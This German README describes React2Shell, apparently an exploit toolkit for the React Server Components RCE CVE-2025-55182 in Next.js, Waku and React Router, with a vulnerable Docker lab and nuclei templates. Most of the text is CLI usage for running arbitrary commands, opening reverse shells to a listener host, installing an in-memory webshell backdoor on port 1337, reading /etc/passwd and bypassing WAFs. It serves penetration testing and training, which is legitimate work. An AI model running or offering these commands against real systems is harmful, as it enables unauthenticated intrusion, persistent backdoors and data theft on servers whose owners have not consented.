React2Shell
CVE-2025-55182 Scanner & Exploit-Toolkit für Next.js/React-Server-Components RCE.
Repository-Struktur
React2Shell/
├── browser-extension/ # Chrome-Erweiterung zur browserbasierten Erkennung
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Kommandozeilen-Scanner & Exploit-Tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Lernorientierte Dokumentation
│ ├── README.md # Lernpfad-Index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker-Lab-Umgebung zum Testen
│ ├── vulnerable/ # Verwundbare Next.js-App (React 19.2.0)
│ ├── patched/ # Gepatchte Next.js-App (React 19.2.1)
│ ├── waf/ # ModSecurity-WAF-Container
│ ├── waku-app/ # Verwundbare Waku-App (React 19.2.0)
│ ├── react-router-app/ # Verwundbare React-Router-App (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei-Vorlagen
├── CVE-2025-55182.yaml # RCE-Erkennung (führt Code aus)
└── CVE-2025-55182-safe.yaml # Sichere Seitenkanal-Erkennung
Schnellstart
cd cli
pip install -r requirements.txt
# Ziel scannen
python react2shell.py https://target.com
# Befehl ausführen
python react2shell.py https://target.com -c "id"
# Interaktive Shell
python react2shell.py https://target.com -i
Browser-Erweiterung
- Öffnen Sie
chrome://extensions/
- Aktivieren Sie den „Entwicklermodus"
- Klicken Sie auf „Entpackte Erweiterung laden"
- Wählen Sie das Verzeichnis
browser-extension
Lab-Umgebung
cd lab
docker-compose up -d
# Ausnutzbare Ziele:
# Next.js Verwundbar: http://localhost:3011 ← Volle RCE
# Waku Verwundbar: http://localhost:3014 ← RCE (blind - keine HTTP-Ausgabe)
# React Router: http://localhost:3015 ← Volle RCE (ESM)
# Geschützte Ziele:
# Next.js Gepatcht: http://localhost:3012 ← Sicher
# WAF-geschützt: http://localhost:3013 ← ModSecurity blockiert Exploits
Nuclei-Scanner
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
Funktionen
- Multi-Framework-Unterstützung – Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
- Framework-Erkennung (
--detect) – Automatische Erkennung des Ziel-Frameworks
- Endpunkt-Enumeration (
-E) – RSC-Endpunkte automatisch entdecken
- Schwachstellen-Scanning – Einzelne URL oder Stapelscan aus Datei
- Befehlsausführung (
-c) – Beliebige Befehle ausführen
- Interaktive Shell (
-i) – Permanente Befehlssitzung
- Reverse Shell (
-r) – Mehrere Typen: nc, bash, perl, python, ruby
- In-Memory-Webshell (
--webshell) – Permanente Backdoor-Installation
- Dateilesevorgang (
-f) – Remote-Dateien direkt lesen
- Lokaler Scan (
-L) – package.json auf verwundbare Versionen prüfen
- WAF-Bypass – Junk-Padding (
-w), Unicode-Kodierung (-u), Vercel-spezifisch (-V)
Browser-Erweiterung (browser-extension/)
- Automatische Erkennung von RSC-Schwachstellenindikatoren
- Konfigurierbare Exploit-Pfade
- Befehlsausführung mit Ausgabeanzeige
- Aktivieren/Deaktivieren-Umschalter
- Visuelle Indikatoren für verwundbar/sicher
Lab-Umgebung (lab/)
- Verwundbares Next.js (3011) – Volle RCE mit Ausgabe über X-Action-Redirect
- Waku (3014) – RCE bestätigt, erfordert
/RSC/F/{x}/{y}.txt-Pfadformat
- React Router (3015) – Volle RCE mittels ESM-kompatiblem
process.getBuiltinModule()
- Gepatchtes Next.js (3012) – Zum Testen der Erkennung ohne Ausnutzung
- WAF-geschützt (3013) – ModSecurity-Regeln für Bypass-Forschung
- Dashboard (8080) – Angriffsprotokollierung und Visualisierung
CLI-Nutzungsbeispiele
# Grundscan (erkennt Framework automatisch)
python react2shell.py https://target.com
# Framework erkennen und Endpunkte enumerieren
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Befehl auf verschiedenen Frameworks ausführen
python react2shell.py https://target.com -c "id" # Next.js (automatisch)
python react2shell.py https://target.com -F waku -c "id" # Waku (blinde RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab-Beispiele mit Ausgabe
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Befehl mit allen WAF-Bypasses ausführen
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interaktive Shell über Proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# In-Memory-Webshell installieren (erstellt Backdoor auf Port 1337)
python react2shell.py https://target.com --webshell mypassword
# Zugriff: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse Shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Lokales Projekt auf verwundbare Versionen scannen
python react2shell.py -L /path/to/project
# Stapelscan mit Ausgabe
python react2shell.py targets.txt -t 20 -o results.json -v
Alle CLI-Optionen
Ausführungsoptionen:
-c, --cmd Auszuführender Befehl
-i, --interactive Interaktive Shell-Sitzung
-r, --reverse Reverse-Shell-Modus
-l, --lhost Listener-Host
-p, --lport Listener-Port
-S, --shell-type Shell-Typ (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Remote-Datei lesen
Scan-Optionen:
-P, --path Zu testende Pfade (kommasepariert oder Datei)
-t, --threads Anzahl der Threads (Standard: 10)
-T, --timeout Request-Timeout in Sekunden (Standard: 10)
-s, --safe Sicherer Modus (keine Codeausführung)
-L, --local Lokales Projektverzeichnis scannen
-F, --framework Ziel-Framework (auto, nextjs, waku, react-router, expo)
-E, --enumerate RSC-Endpunkte vor der Ausnutzung enumerieren
--detect Nur Framework erkennen und Endpunkte auflisten
--webshell In-Memory-Webshell auf Port 1337 installieren
--rce RCE-PoC-Modus (Standard: sicherer Modus)
Bypass-Optionen:
-w, --waf-bypass Junk-Daten-Padding
-W, --waf-size Junk-Größe in KB (Standard: 128)
-u, --unicode Unicode-Kodierungs-Bypass
-V, --vercel-bypass Vercel-spezifischer Bypass
--windows Windows-PowerShell-Payloads
Request-Optionen:
-x, --proxy Proxy-URL (z. B. http://127.0.0.1:8080)
-H, --header Benutzerdefinierte Header
-A, --user-agent Benutzerdefinierter User-Agent
-k, --insecure SSL-Verifizierung deaktivieren
Ausgabeoptionen:
-o, --output Ergebnisse als JSON speichern
-v, --verbose Ausführliche Ausgabe mit Versionserkennung
-q, --quiet Nur verwundbare Ziele anzeigen
--no-color Farben deaktivieren
--no-banner Banner ausblenden
CVE-2025-55182 Details
| Feld | Wert |
|---|
| CVSS | 10.0 (Kritisch) |
| Auswirkung | Nicht authentifizierte Remote-Codeausführung |
Betroffene Frameworks
Danksagungen
Haftungsausschluss
Dieses Toolkit ist nur für autorisierte Sicherheitstests bestimmt. Verwenden Sie es ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal.
CVE-2025-55182 | CVSS 10.0 | Nur für autorisierte Sicherheitstests